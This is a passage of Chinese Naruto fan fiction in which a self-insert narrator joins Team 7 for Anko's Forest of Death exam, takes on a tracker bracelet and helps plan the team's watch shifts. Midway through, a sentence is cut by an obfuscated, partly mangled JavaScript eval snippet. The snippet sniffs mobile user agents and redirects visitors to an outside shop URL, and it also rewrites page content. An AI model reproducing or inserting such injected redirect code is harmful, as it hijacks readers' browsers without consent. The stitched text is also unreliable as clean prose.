小樱似乎完全没想到我会给予她如此高、如此真诚的评价。她怔怔地站在原地,白皙的脸颊上绯红迅速蔓延,连小巧的耳尖都染上了可爱的粉色。她微微张着嘴,显得有些无措的沉默,但那双碧绿的眼眸里,却清晰地映出她内心的波澜,嘴角不受控制地、一点一点向上弯起,最终绽放出一个带着羞涩却无比明亮的笑容—— 那是被真心认可和珍视后,发自内心的喜悦。 我回以她一个温暖而鼓励的微笑,用眼神传递着我的肯定:小樱,不管别人怎么看,在我心里,你一直都是最棒的女忍者! 鸣人似乎也似乎重新得到了某种信号(或者单纯是自我感觉良好),立刻重新挺起胸膛,找回了“主持人”的状态。他转向木叶丸,又开始介绍起第七班共同执行过的任务,从找猫到除草,说得眉飞色舞。然而,木叶丸一边听一边煞有介事地在小本子上写写画画,最后抬起头,用孩童特有的、天真又直接的语气一针见血地拆穿 “可是鸣人大哥,听起来感觉……都是你在拖后腿呢?” “喂!小鬼!你说什么?!” 鸣人瞬间炸毛,脸颊涨得通红,像是被踩了尾巴的猫。 “本来就是嘛!抓猫那次你掉进河里,除草那次你把委托人的草药铲平了……” 木叶丸掰着手指头,开始细数“罪状”。 眼看一场“大哥”与“小弟”之间的幼稚争吵即将爆发,我赶紧介入,一手按住鸣人的肩膀(防止他扑过去),一手轻轻搭在木叶丸的小脑袋上,声音带着不容置疑的温和却坚定的力量 “好了,你们两个,不许吵架。采访要友好,明白吗?” 在我的“镇压”下,两人互相瞪了一眼,鸣人气鼓鼓地哼了一声,木叶丸则得意地扬了扬小下巴,但总算都消停了。最后,鸣人还是不甘心地又补充介绍了伊鲁卡老师,将他描述为“第二个认可自己的人”以及“一个虽然心软但总是不好意思表达、最后总会请我们吃拉面的好老师”。 耳边传来小樱的声音,她已经从被我高度评价的冲击中恢复过来,重新变得活泼了些,只是看着鸣人还在絮絮叨叨地说着那些“有的没的”任务经历,忍不住小声吐槽了一句 “真是的,鸣人这家伙……” 而佐助,这位酷哥则全程抱着手臂,一脸“与我无关”的冷漠表情站在稍远的地方,目光时不时扫过死亡森林的方向,显然只希望这十分钟快点结束,好让他能立刻投身到真正的考验中去。 采访继续。轮到介绍忍术环节,小樱主动接过话头。她先是无奈又好笑地介绍了鸣人的“招牌”忍术——『色诱之术』和『影分身之术』,以及那个让她每次想起来都恨不得暴打鸣人一顿的『后宫之术』,总结陈词是 “总之,鸣人掌握的……大多都是些不怎么正经的忍术啦!” 轮到介绍佐助的忍术时,小樱的脸上明显飞起两朵红云,语气也变得有些激动。她努力克制着自己想滔滔不绝赞美偶像的冲动(这大概是我之前和她谈心,建议她“与其一味追逐佐助的背影,不如专注提升自我”的话起了点作用?) 开始尝试进行相对客观的分析。她会认真地指出佐助忍术的特点,比如豪火球的威力与查克拉消耗,写轮眼洞察的优势与可能的负担,体术迅捷精准但防御稍显不足等等。虽然语气里依旧带着掩饰不住的崇拜,但至少努力在阐述“实招实式”的利与弊。 说完佐助的部分,小樱像是完成了一项艰巨任务,长长地、深深地吸了一口气。然后,她转过头,目光有些犹豫,又带着点期待地看向我,嘴唇动了动,似乎想要说些什么,但最终还是暂时咽了回去。 关于我的忍术,小樱似乎也有些困惑。她歪着头想了想,坦诚地说 “旁听生的忍术……其实我也不是很清楚呢。只知道是利用一种很特别的塔罗牌来释放的。” 她顿了顿,补充道 “而且姐姐好像很少、或者说几乎不怎么使用那种大规模的忍术攻击?” 她努力回忆着 “大多数时候,姐姐都是用手里剑和苦无进行战斗,动作非常灵活,虽然攻击力看起来……嗯,比较微弱,但自保能力绝对是有的!” 她赶紧肯定道,然后话锋一转,带着点小老师的口吻,毫不客气地指出了我的缺点 “姐姐的观察力确实超级厉害!但是!” 她加重语气,模仿着卡卡西或者伊鲁卡批评鸣人时的样子 “后面我要批评姐姐的莽撞心了!有时候明明很危险,姐姐也会不管不顾地冲上去!” 我被她这突如其来的“批评”弄得有点不好意思,只能吐了吐舌头,做出一个“我错了但下次还敢”的鬼脸,假装毫不在意的样子。好在小樱对我的“审判”也点到为止,没有继续深入。 更令人意外的是,小樱甚至主动介绍起了卡卡西老师!她对着木叶丸解释 “当然啦,卡卡西老师是我们第七班的上忍指导老师,所以关于忍术指导和学习课题什么的,有他也很正常嘛!” 然而,她下一句话就让我的笑容僵在了脸上:……为什么连老师总看《亲热天堂》这种书也要提上一嘴啊!木叶丸还是个孩子呢! 小樱捂着脸,一副“真是拿老师没办法”的羞恼表情。 采访在一种既欢乐又带着点紧张的氛围中进行着。要采访的人太多(主要是鸣人想显摆),十分钟的时间根本不可能一一详细说完。只能由鸣人这个“总主持人”梗概地、极其简略地提了一下其他几个相熟的下忍,当鸣人终于意犹未尽地结束了他的“第七班及其他人大百科”时,十分钟的休息时间也恰好到了尾声。 “好了!小鬼们!采访时间到!” 御手洗红豆那洪亮的声音再次响起,带着不容置疑的命令口吻 “该告别了!第二场考试——马上开始!” 我们与木叶丸三小只挥手告别。木叶丸抱着他的小本子,脸上带着完成任务的满足和一丝对未知考试的不安,用力地对我们喊道 “大哥!大姐!佐助哥!小樱姐姐!你们一定要加油啊!” 送走了三小只,我们重新将目光投向那片如同巨兽匍匐般的死亡森林入口。巨大的铁门缓缓打开,露出里面幽暗深邃、仿佛能吞噬一切光线的通道。森林深处吹来的风带着浓重的湿腐气息和泥土腥味,拂过脸颊,带来一阵寒意。 小樱看着眼前阴森森的入口,脸色微微发白,下意识地攥紧了拳头,呼吸也变得有些急促。她显然想起了御手洗红豆关于“死亡”的警告。然而,她深吸一口气,仿佛在给自己打气,眼神里闪过一丝坚定——我想,这或许是我刚才那番关于她“坚强”和“不可或缺”的评价,给了她一点克服内心恐惧的力量? 我转过头,看向站在我身边的鸣人。他正仰头望着那片幽暗的森林,金色的头发在入口处投下的阴影里显得有些暗淡。 “害怕吗,鸣人?” 我轻声问道。 鸣人像是被踩了尾巴,猛地一挺胸脯,下巴抬得老高,声音拔高了一个调,带着一种夸张的、极力掩饰什么的“豪迈” “哈?什么死亡森林?我才不怕呢!这种地方,对我来说小菜一碟!” 但他的脚尖却无意识地在地上蹭了蹭,眼神也有些飘忽,与其说是豪迈,不如说是在……别扭地掩饰着内心深处那份对未知危险的天然畏惧?他到底在扭捏什么啊? 这充满“活力”的一幕恰好落入了御手洗红豆的眼中。她站在高处,抱着手臂,嘴角咧开一个带着赞许(或者纯粹是觉得有趣)的狂野笑容,大声道 “好!很有精神!” 那声音洪亮得如同战鼓擂动。 然而,她话音未落—— “咻——!” 一道冰冷的寒光撕裂空气,带着刺耳的尖啸,以迅雷不及掩耳之势,紧贴着鸣人的脸颊飞掠而过! 时间仿佛在那一刻凝固。我甚至能清晰地看到鸣人脸上那几缕被劲风带起的金色发丝,以及他瞳孔骤然收缩、写满惊愕的瞬间。下一秒,一丝细微却无比刺眼的鲜红,在他小麦色的脸颊上缓缓沁出,形成一道细细的血线。 “……” 我倒吸一口凉气,心脏猛地一缩。看着鸣人后知后觉地抬手摸向脸颊,指尖沾上那抹刺目的红,我只能无奈地在心底深深叹息 这位红豆老师……打招呼的方式也太“热情”了点吧?这根本就是谋杀未遂啊! 更令人毛骨悚然的,是背后骤然升腾而起、如同实质般的浓烈杀意!冰冷、粘稠,如同毒蛇的信子舔过后颈。御手洗红豆的身影如同鬼魅般出现在我和鸣人身后,两只手分别重重地拍在我们俩的肩膀上。 那力道大得惊人,带着一种不容抗拒的钳制感。她微微俯身,凑近我们耳边,声音带着一种近乎愉悦的、却又冰冷刺骨的警告: “听着,小鬼们。考试还没开始呢。像你们这样咋咋呼呼、把‘我很弱’写在脸上的家伙……” 她顿了顿,呼出的气息带着森林的凉意 “在死亡森林里,通常是死得最快的。” 每一个字都像冰锥,狠狠扎进耳膜。 还没等御手洗红豆把话说完,一股更加阴冷、更加深沉、如同来自九幽地狱的浓烈杀意,如同冰冷的潮水般,毫无征兆地从她身后汹涌而来!那杀意之纯粹、之强大,让周围的空气都仿佛瞬间冻结,温度骤降!我甚至感觉自己的血液流速都慢了一拍。(你再看看你后面呢?红豆老师!) 御手洗红豆的身体瞬间绷紧,如同蓄势待发的猎豹。她猛地转身,动作快得只留下一道残影。 只见一个身影无声无息地出现在她身后不远处。那人穿着草忍村的护额,面容平凡,唯有一条异常细长、如同蛇信子般的舌头,正以一种非人的灵活度缓缓舔过嘴唇,舌尖上还卷着……那枚刚刚划伤鸣人的手里剑!他将手里剑轻轻吐到掌心,递向御手洗红豆,动作带着一种令人不适的优雅和阴冷。 “你的东西,还给你。” 声音沙哑低沉,如同砂纸摩擦。 御手洗红豆脸上那狂野的笑容没有丝毫变化,仿佛早已料到。她伸出手,看似随意地接过那枚染血的手里剑,语气轻松 “谢啦。” 然而,在她摊开的另一只手掌中,不知何时早已扣住了数枚寒光闪闪的手里剑,锋刃直指来人,蓄势待发!她的笑容依旧挂在脸上,眼神却锐利如刀,周身散发出毫不掩饰的危险气息 “不过啊……下次可别带着这么重的杀气,出现在我背后了。” 那语气,与其说是提醒,不如说是赤裸裸的威胁。空气在这一刻凝固,无形的杀气如同实质般在两人之间碰撞、挤压。 这场短暂却令人窒息的交锋,随着御手洗红豆收回手里剑、那位忍者无声退入人群而告一段落。但那他留下的阴冷气息,如同跗骨之蛆,依旧盘旋在入口处,让原本就紧张的气氛更加压抑。 御手洗红豆似乎很满意自己制造的威慑效果。她拍了拍手,仿佛掸掉并不存在的灰尘,声音重新变得洪亮而充满压迫感,清晰地传遍全场 “好了,小插曲结束!现在,在正式进入死亡森林之前——” 她拖长了调子,目光扫过一张张年轻而紧张的脸庞 “还有最后一道手续!” 几名中忍考官捧着厚厚的文件板,面无表情地穿梭在考生队伍中。当那份薄薄的、带着油墨味的纸页被递到我手上时,指尖传来的冰凉触感让我不由自主地微微颤抖了一下。它很轻,却又重逾千斤。纸页顶端,三个冰冷的大字如同烧红的烙铁,灼痛了我的视线——生死状。 我几乎是屏住呼吸,用微微颤抖的指尖接住了它。那纸张的冰凉顺着指尖的神经末梢一路蔓延,瞬间冻结了血液,连心脏都仿佛被一只无形的手攥紧。御手洗红豆锐利的目光如同探针,精准地捕捉到了我强压下却依旧泄露的紧张。 她嘴角噙着一抹近乎残忍的、带着血腥味的笑意,像是在欣赏猎物临死前无法抑制的战栗。她那双如同猛兽般的眸子缓缓扫过全场,将每个人脸上或凝重、或苍白、或故作镇定、或茫然无措的表情——那些面对赤裸裸的死亡契约时最真实的反应——尽收眼底,仿佛在品味一场盛宴前的开胃小菜。 “很好,” 红豆的声音陡然拔高,带着一种刻意为之的兴奋和冷酷,瞬间压过了场中细微的骚动和抽气声 “看来各位未来的精英们,已经充分理解这场‘生存游戏’的真正代价了。” 她刻意用了“游戏”这个词,却让其中的残酷意味更加刺骨。 “那么,让我们进入正题——” 她猛地张开双臂,动作大开大合,如同在进行某种古老的献祭仪式,直直地指向身后那片被高耸铁丝网环绕、散发着原始而危险气息的广袤幽暗森林。她的声音如同宣告末日的号角,带着穿透灵魂的力量: “规则很简单,但活下去…可不简单!” 红豆的笑容骤然扩大,露出森白的牙齿,在幽暗的光线下闪烁着寒光,像一头终于露出獠牙的嗜血鲨鱼 “你们将以三人小队为单位进入森林。在入口处,你们会领到一个卷轴。” 她变戏法似的从忍具包中掏出两个卷轴,高高举起,让所有人都能看清卷轴外侧那巨大的、截然不同的字迹。那字迹仿佛带着某种魔力,瞬间攫取了所有人的注意力。 “看清楚!一种是‘天之书’!” 她手腕一抖,晃了晃其中一个卷轴,卷轴上深蓝色的“天”字在光线下流淌着神秘的光泽。 “另一种是‘地之书’!” 她又晃了晃另一个,土黄色的“地”字显得厚重而沉稳。 “每个小队在入口处,会随机领到其中一种。” 她的声音斩钉截铁,断绝了任何侥幸的念头。 接着,在所有人屏息凝神的注视下,红豆将代表“天”与“地”的两个卷轴猛地对撞在一起,发出“啪”的一声沉闷而响亮的撞击声!那声音如同惊雷,炸响在每个人的心头。她的目光如同淬毒的冰锥,带着毫不掩饰的恶意和期待,缓缓扫过众人惊疑不定的脸: “你们的任务目标就是——在五天之内,带着一组‘天之书’和一组‘地之书’,活着抵达森林中央的高塔!” 这句话,像一颗投入深水的高爆炸弹,瞬间在死寂的人群中掀起了滔天巨浪!恐惧、惊愕、恍然、算计……无数复杂的情绪在考生们脸上交织变幻。 这意味着什么,不言而喻!每个小队拿到的,必定是单一的一种!想要凑齐天地卷轴,唯一的途径就是——从其他队伍手中抢夺!这是赤裸裸的养蛊!是逼着他们自相残杀! “没错!” 红豆仿佛听到了众人心中掀起的惊涛骇浪,声音更加亢奋,带着一种掌控生死的残酷快感 “你们需要从其他队伍手中,夺取你们缺少的那一种卷轴!这,就是第二场考试的核心——卷轴争夺战!记住,” 她一字一顿,如同在宣读铁律 “只有同时持有天、地两种卷轴并成功抵达高塔的小队,才算通过!” 她刻意停顿了一下,让这残酷的规则如同冰冷的铁水般灌入每个人的脑海。然后,她的声音陡然变得极其严厉,充满了不容置疑的警告意味,如同寒冰地狱刮来的冷风: “但是!” 这声“但是”如同重锤落下 “绝对禁止中途打开你们领到的卷轴!我说的是‘绝对’!在抵达高塔之前,任何人胆敢私自打开卷轴——” 她的笑容瞬间消失得无影无踪,眼神变得无比危险,周身散发出如同实质般的、令人几乎窒息的浓烈杀气!那杀气如有重量,压得离得近的考生双腿发软,脸色惨白。 “——后果自负。” 她的声音低沉下来,却比刚才的吼叫更具威胁性,每一个字都像淬了剧毒的冰棱,狠狠扎进所有人的神经 “相信我,那后果……” 她舔了舔嘴唇,露出一个令人毛骨悚然的、带着血腥味的笑容 “会比死在森林里的猛兽口中,或者被其他小队干掉,要‘有趣’得多,也痛苦得多。不想提前体验地狱的话,就管好你们的手和好奇心!” 她满意地看着场中瞬间凝固的气氛和骤然缩紧的瞳孔,那令人窒息的杀气如同退潮般缓缓散去,嘴角那抹玩味的、仿佛在欣赏困兽挣扎的笑意又重新浮现。 “好了,规则就是这些。五天时间,抢夺卷轴,活着抵达中央高塔。” 御手洗红豆像是完成了一场精彩的表演,轻松地拍了拍手,语气恢复了之前的随意 “入口处会有中忍发放卷轴。那么,祝各位…玩得‘开心’!” 她顿了顿,目光再次扫过全场,那眼神如同高高在上的神明俯瞰着即将投入斗兽场的蝼蚁,带着一种洞悉一切却又毫不在意的残酷 “以及……最后忠告各位——” 她的声音拖得很长,带着一种宿命般的沉重 “别死……” 这两个字轻飘飘落下,却重若千钧。 她最后扫了一眼噤若寒蝉、如同待宰羔羊般的下忍们,不再多言,利落地转身。 鸣人拿着手里那份签着他歪歪扭扭名字的生死状,嘴巴不停地嘀咕着 “真是的,签个名字而已,搞这么麻烦……” 他显然还未能完全理解那份薄纸所代表的沉重含义。我什么也没说,只是沉默地将自己的那份生死状仔细折好,放入忍具包的最里层。 指尖触碰纸张时,那份冰凉再次提醒着我它的分量。死亡森林……这里是真的会死人的。尽管我知道原著的剧情走向,知道主角团最终会化险为夷,但那毕竟只是模糊的“剧情”,而此刻,我身处的是真实的、弥漫着血腥味的现实。那些没有名字、没有镜头、在森林深处无声无息消失的考生……他们的结局,剧本里并未写明。 指尖死死扣着忍具包的边缘,指甲几乎要嵌进坚韧的布料里。我闭上眼,深深地、用力地吸了一口气,森林特有的潮湿腐殖质气息涌入鼻腔。 强行压下心底翻涌的恐惧和自我怀疑,我在心底默念:没关系,不会死的……毕竟自己现在也算是和主角绑定了,拥有主角一半的光环呢……再不济,也得是个重要配角吧?女二号什么的……总该有点保命特权吧?这近乎迷信的自我安慰,成了此刻支撑我站立的唯一浮木。 不再纠结于那份沉重的契约,我的注意力回到了鸣人脸上那道细小的伤口上。鲜红的血痕在他小麦色的皮肤上格外刺眼。我蹲下身,从随身的背包里翻找出一小罐淡绿色的药膏。拧开盖子,一股清凉的草药气息散逸出来。我用指尖蘸取了一点,小心翼翼地、轻轻地涂抹在鸣人脸颊的伤口上。 “嘶……” 药膏接触皮肤的瞬间,冰凉的感觉让鸣人下意识地缩了一下脖子,但很快又安静下来。他乖乖地站在原地,微微低着头,任由我的手指带着药膏的凉意在他脸颊上轻轻晕开。 指尖下传来少年肌肤特有的温热和细腻触感,他柔软的、带着健康弹性的脸颊,让我几乎有些贪恋这短暂的、带着亲昵的触碰。抬起眼,撞进他那双如同夏日晴空般纯净的湛蓝眼眸里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16575540|187090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那里面清晰地映着我的倒影,带着全然的信任和一丝被关心的满足。 看着他这副难得乖巧的模样,我心头一软,一个没忍住,“噗嗤”一声笑了出来。这笑声在肃杀的氛围里显得格外突兀。随即,恶作剧的心思占了上风,我忍不住用还沾着药膏的手指,轻轻掐了一下他另一边完好的脸颊。 “嗷!老姐!” 鸣人像是被蜜蜂蜇了一下,瞬间从温顺的小狗变成了炸毛的猫咪,捂着被我掐的地方,湛蓝的眼睛瞪得溜圆,脸颊迅速飞起两团红晕,不知道是气的还是羞的。 “好啦好啦!” 我赶紧收回作乱的手,强忍着笑意,一边把药膏盖子拧紧放回包里,一边习惯性地想揉揉他的脑袋,像往常一样说 “小小的鸣人果然还是最可爱了,都没我高呢”。 然而,那句熟悉的、带着强烈自尊心宣告的话语,比我的动作更快地响起 “不要再把我当小孩了!” 我的手停在半空。看着他脸颊上那混合着药膏微光和我揉捏痕迹的红晕,那双蓝眼睛里闪烁着困惑和一丝不易察觉的受伤(因为被当成小孩?),我讪讪地笑了笑,有些尴尬地收回手 “啊……抱歉抱歉,好像又把你当做小孩子看待了。” 我顿了顿,看着他突然有些呆愣,但依旧气鼓鼓、嘴巴微微嘟起的样子,那副稚气未脱却又努力想证明自己长大的模样,心底的柔软再次被触动,忍不住小声补了一句真心话 “不过……嘴巴嘟起来的鸣人,真的超可爱……” 鸣人的脸瞬间更红了,像熟透的番茄。他刚想反驳什么,我脸上的笑容却倏地一收。一种极其突兀的、如同芒刺在背的感觉毫无征兆地袭来!仿佛有冰冷的视线穿透人群,牢牢地锁定了我。 我猛地转过头,锐利的目光扫向身后那片在风中摇曳的、发出沙沙声响的茂密树丛。枝叶浓密,光线昏暗,什么也看不清。是错觉吗?还是……刚才那个忍者?或者其他不怀好意的队伍? 鸣人似乎也察觉到了我瞬间的紧绷,顺着我的目光看去,脸上还带着未消的红晕和不爽 “怎么了,老姐?” “……没什么。” 我强迫自己放松下来,压下心头的不安,露出一个安抚的笑容 “走吧,该去领卷轴了。” 鸣人狐疑地又看了看那片树丛,没发现什么异常,便不再深究,跟在我身后,与佐助和小樱汇合,走向指定的入口小屋。 低矮的小屋用厚重的原木搭建,散发着木头潮湿的气味,门口垂着深色的帘子,隔绝了内外。随着考官一声冷硬的“下一组,第七班!”,那深色的帘子被一只戴着黑色手套的手从里面“唰”地一声拉开。 屋内光线昏暗,只有一盏油灯提供着微弱的光源。我们四人依次走进去,将写着自己名字、仿佛还带着体温的生死状,郑重地放在考官面前的桌案上。纸张落下的轻微声响,在这狭小的空间里显得格外清晰,像是某种仪式的结束。 考官面无表情地接过生死状,快速扫了一眼名字。然后,他从桌下拿出一个深褐色的卷轴,卷轴外侧用遒劲的笔触写着一个醒目的“天”字。 “你们的卷轴,‘天之书’。” 考官的声音平板无波,将卷轴递给了离他最近的佐助。 就在我们接过卷轴,准备转身离开这压抑的小屋时,考官那冰冷的声音再次响起,如同宣判 “等等。由于你们第七班是四人组,比其他队伍多出一人,根据规则,需要额外增加限制条件,以维持相对的公平。” 我们的脚步顿住了。佐助的眉头紧紧皱起,鸣人不满地想要开口,被我一个眼神制止。 考官的目光如同探照灯,在我们四人身上扫过,最后落在我身上,带着一种审视的意味 “因此,你们的任务时间,从标准的五天,缩短至四天。” 四天!这个词如同重锤砸在心口!穿越危机四伏的死亡森林,还要抢夺卷轴,四天时间意味着我们必须马不停蹄,意味着容错率被压缩到了极限! “并且,” 考官的声音毫无起伏,继续宣读着附加的“枷锁” “需要给队伍中的额外成员——” 他的目光再次锁定我 “佩戴追踪器。” 他拿出一个约莫一指宽、闪烁着冰冷金属光泽的腕环,结构精巧,表面刻着细密的封印符文 “戴上它。” 我的心沉了下去。佐助的眼神变得更加锐利,小樱担忧地看着我,鸣人则直接叫了出来 “喂!凭什么啊!” “规则如此。” 考官不为所动,语气强硬 “此追踪器不会在常规感知手段中明确暴露你们的精确位置。但是,” 他顿了顿,加重了语气 “它会持续散发出一种特殊的、微弱的查克拉波动。任何进入其扩散范围一定距离内的队伍,其感知忍者都能清晰地捕捉到这种波动,并解读出一个明确的信息——” 他盯着我的眼睛,一字一句地说 这附近有人,而且可能是个目标,快来找。 “这……” 小樱的脸色瞬间白了。这无异于在身上挂了一个持续发送信号的灯塔!在需要隐匿行踪的森林里,这简直是致命的! “这是唯一能对其他人公平一点的地方。” 考官结束了宣判,将腕环放在桌上 “戴上,或者放弃考试。” 空气仿佛凝固了。放弃?不可能!我深吸一口气,压下心头的憋屈和沉重,伸出手,默默地拿起了那个冰冷的金属环。它的触感如同寒冰,带着一种不详的预兆。我用力将它扣在了自己的左手腕上 “咔哒”一声轻响,如同锁链落锁。一股微弱的、带着明确指向性的查克拉波动,立刻以我的手腕为中心,如同水波涟漪般扩散开来,清晰地被我自身感知到。 “好了,时限四天,目标中央高塔。出发吧。” 考官垂下眼帘,不再看我们。 我们沉默地转身,掀开帘子,重新投入外面稍显刺眼的光线中。手腕上那个冰冷的金属环,像一条毒蛇缠绕着,时刻提醒着我即将面临的困境: 时间被无情地砍掉一天,而我们身上还带着一个不断吸引猎人的信号源。这已经不仅仅是对忍者能力的考验,更是对我们生存智慧和团队协作的极限挑战,潜藏着远超其他队伍的致命危险。 我下意识地用右手捂住左胸,隔着衣服,能感受到怀中那张硬质卡片——【教皇】牌——的轮廓。心中无声地祈祷着:请保佑我,保佑我们第七班,平安通过这场考试吧…… “第二场中忍选拔考试——正式开始!” 御手洗红豆那如同发令枪般的嘹亮声音,在死亡森林上空轰然炸响! “冲啊!” “快走!” “跟上!” …… 随着她的一声令下,早已在各自入口处等候多时的下忍队伍,如同被惊动的蜂群,又如离弦之箭,带着决绝或恐惧,从各个方向,一头扎进了那片幽暗深邃、仿佛巨兽张开大口的死亡森林!无数身影在林间闪动,带起一片片枝叶的晃动,很快便消失在浓密的绿色帷幕之后。 目标只有一个——夺取天地卷轴,赢得生存的资格! 第七班,也在此刻化作四道疾影,毫不犹豫地冲入了属于我们的入口。前方,是未知的黑暗与血腥的狩猎场。 “咻!咻!咻!” 风声在耳边尖锐地呼啸,刮得脸颊生疼。我们四人如同四支破空的利箭,在死亡森林巨大而古老的树干之间高速穿梭。脚下是盘根错节、覆盖着厚厚青苔和腐叶的树根,每一次落脚都需精准而轻盈,稍有不慎便会滑倒或发出声响。 浓密得近乎粘稠的枝叶在身侧急速掠过,粗糙的树皮偶尔擦过手臂,带来火辣辣的微痛。空气中弥漫着森林深处特有的、浓重到化不开的潮湿腐殖质气息,混合着泥土的腥味、朽木的霉味,以及某种不知名野花的甜腻香气,形成一种独特而令人不安的嗅觉体验。 脚下的“路”在高速移动中迅速模糊、消失在身后。参天巨木投下的阴影如同巨兽的爪牙,交替着覆盖在我们身上,光线在幽暗与斑驳间急剧变幻。直到确认已经远离入口区域,且短时间内感知范围内没有其他队伍查克拉的尾随气息,冲在最前方的佐助才猛地抬起手臂,做出一个干脆利落的下压手势——停止! “这里。” 他简洁地吐出两个字,声音压得极低,目光锐利地扫视四周,最终锁定了一处被巨大板状树根和茂密如帘幕般的藤蔓天然遮蔽的凹陷地带。那里光线更加昏暗,勉强能容纳我们四人藏身。 无需多言,我们身形一晃,如同鬼魅般悄无声息地闪入那片天然的、散发着浓郁泥土和苔藓气息的阴影之中。外面的光线瞬间被隔绝了大半,视线陡然变得幽暗。只有几缕极其顽强的光束,穿透头顶层层叠叠的叶隙,如同探照灯的光柱,在铺满腐叶的地面上投下几块晃动不安的、破碎的光斑。 空气仿佛在这一刻凝固了,沉重得能拧出水来。刚才高速移动带起的风声、衣袂破空声骤然消失,只剩下我们四人略显急促压抑的呼吸声,在狭小的空间里清晰可闻。森林深处传来的、不知名昆虫持续不断的嗡鸣,以及远处偶尔响起的、凄厉得有些瘆人的鸟叫声,在这片寂静中被无限放大,反而更衬得此地如同死域,让人的心弦绷紧到了极致。 “四天…” 小樱的声音第一个打破了沉默,带着一丝无法完全抑制的颤抖,如同绷紧的琴弦发出的颤音 “只有四天时间,要穿越整个死亡森林,还要抢夺到另一份卷轴…” 她的目光下意识地、充满警惕地扫视着四周阴暗的角落,仿佛每一片晃动的树叶、每一根垂落的藤蔓后面,都潜藏着无数双窥伺的眼睛,随时可能扑出致命的猎手。时间,成了悬在头顶的达摩克利斯之剑。 佐助背靠着冰凉潮湿的巨大树根,身体微微前倾,保持着随时可以出击的姿态。他眉头紧锁,形成一个深深的“川”字,眼神如同鹰隼般锐利地穿透藤蔓的缝隙,反复扫视着外面的环境。 “时间缩短是最大的麻烦。” 他的声音低沉而冷静,条理清晰地分析着困境 “这意味着我们几乎没有休整的时间,必须保持最高效率的移动,并且精准定位目标。” 他的目光如同实质般,最终落在我身上,或者说,落在我左手腕上那个不起眼的、此刻正持续散发着微弱却明确信号的金属环——那个该死的追踪器 “还有这个。” 他的语气里带着毫不掩饰的沉重。这追踪器,让我们的处境雪上加霜。 我抬起左手腕,那金属环冰凉地紧贴着皮肤,像一道无形的枷锁,更像一个不断滴答作响的死亡倒计时 “它不会显示具体位置,” 我低声解释,声音在寂静中格外清晰 “但会让进入一定范围的队伍,尤其是队伍中的感知忍者,清晰地感知到‘这里有人,而且可能是个目标,快来找’。就像……” 我苦笑了一下,一个贴切又令人绝望的比喻浮上心头 “黑夜里的萤火虫。” 吸引着无数饥渴的猎人。 鸣人握紧了拳头,指节因为用力而微微发白。脸上还残留着我涂抹药膏的淡绿色痕迹,但此刻,那双湛蓝的眼眸里已经燃起了不服输的火焰,将刚才入口处那一丝畏惧彻底烧尽 “怕什么!来多少打多少!正好省得我们去找他们了!让他们尝尝我漩涡鸣人大爷的厉害!” 少年人的热血和盲目自信,在此刻成了对抗恐惧的武器,虽然这武器显得有些单薄。 “笨蛋鸣人!” 小樱立刻反驳,声音因为紧张而显得有些尖利 “这不是逞强的时候!我们不知道会引来多少队伍,万一被好几支队伍围攻怎么办?而且森林本身就很危险!那些猛兽,还有毒虫陷阱……” 她担忧的目光在我和佐助之间来回扫视, “旁听生,佐助君,我们得想想办法,不能硬拼。” 她的担忧非常现实,追踪器带来的被动局面,让主动出击都充满了巨大的风险。 我深吸一口气,努力压下心底因追踪器和时间压力而不断翻涌的不安,强迫自己冷静下来,让大脑在高压下高速运转 “鸣人的…呃…‘吸引力’或许可以利用,” 我看向鸣人,又转向佐助 “但不是像他说的那样硬拼。” 鸣人夸张的言行本身也是一种掩护。 “佐助,你的观察力最强,写轮眼能捕捉最细微的痕迹。由你负责主要的路径规划、选择安全的行进路线,同时负责最高级别的警戒,感知敌人动向,提前预警。” 他是我们最可靠的雷达和导航仪。 “小樱,” 我的目光转向粉发女孩,她正努力让自己镇定下来,眼神专注 “你心思最细腻,负责记录时间、观察环境细节,尤其是水源和可能的食物来源位置,必须精确标记。还有……” 我加重了语气 “密切注意周围是否有异常强大的查克拉波动残留,或者大型猛兽活动的痕迹。我们的补给和规避危险,就靠你了。” 后勤和信息分析同样关键。 “食物和水…” 小樱立刻进入状态,迅速翻出随身携带的笔记本和炭笔,眼神变得认真而专业 “我带了一些应急兵粮丸,但最多只能支撑我们小队两天。水…必须尽快找到干净的水源。森林里可能有野果,但不认识的种类非常危险,绝对不能轻易尝试。” 她的查克拉控制力能派上大用场。 “我来负责辨认植物和初步判断水源是否安全。” 我接话道。照顾鸣人的时候,为了省钱,不得不逼着自己学了不少野外求生的知识,虽然算不上专家,但基本的辨别能力还是有的。 “但获取和净化水源的具体工作,需要小樱你精细的查克拉控制力来配合。” 她的查克拉控制是过滤和净化水源的关键。 “没问题!交给我!” 小樱用力点头,眼神里充满了被委以重任的坚定。 “那我呢?我呢?” 鸣人急切地指着自己,生怕被排除在核心计划之外。 “你,” 佐助冷冷地瞥了他一眼,语气不容置疑 “管好你自己,别乱跑,别冲动,战斗时严格听从指挥。另外…” 他顿了一下,目光再次扫过我手腕上的追踪器,眼神凝重 “你和姐姐一起负责前半夜的警戒。后半夜由我和小樱负责。” “诶?为什么我和老姐一起值前半夜?” 鸣人疑惑地眨眨眼,显然没理解其中深意。 佐助没有直接回答,只是又看了我手腕上那个如同靶子般的金属环一眼,眼神更加深沉。 “前半夜相对安全,但也需要保持警惕。后半夜是偷袭和猛兽活动的高发期,风险更大,由状态更好、更有经验的人负责。” 他没有明说,但我瞬间理解了他的考量——追踪器的风险在能见度低、感知容易被削弱的夜晚会呈几何级数放大,他需要保持最佳状态来应对后半夜可能出现的强敌或突发状况。 让我和鸣人一起值前半夜,既可以利用鸣人的查克拉量分担警戒压力,又能让佐助在前期得到宝贵的休息,同时也能在相对可控的时段,让鸣人照应一下带着“灯塔”的我。 鸣人似乎也想到了追踪器的问题,目光落在我手腕上,脸上的兴奋褪去了一些,被一种认真的责任感取代 “我知道了!佐助!我会保护好老姐的!前半夜就交给我们吧!” 他挺起胸膛,像是在做出庄严的承诺。 我心中涌起一股暖流,伸手拍了拍他结实的肩膀 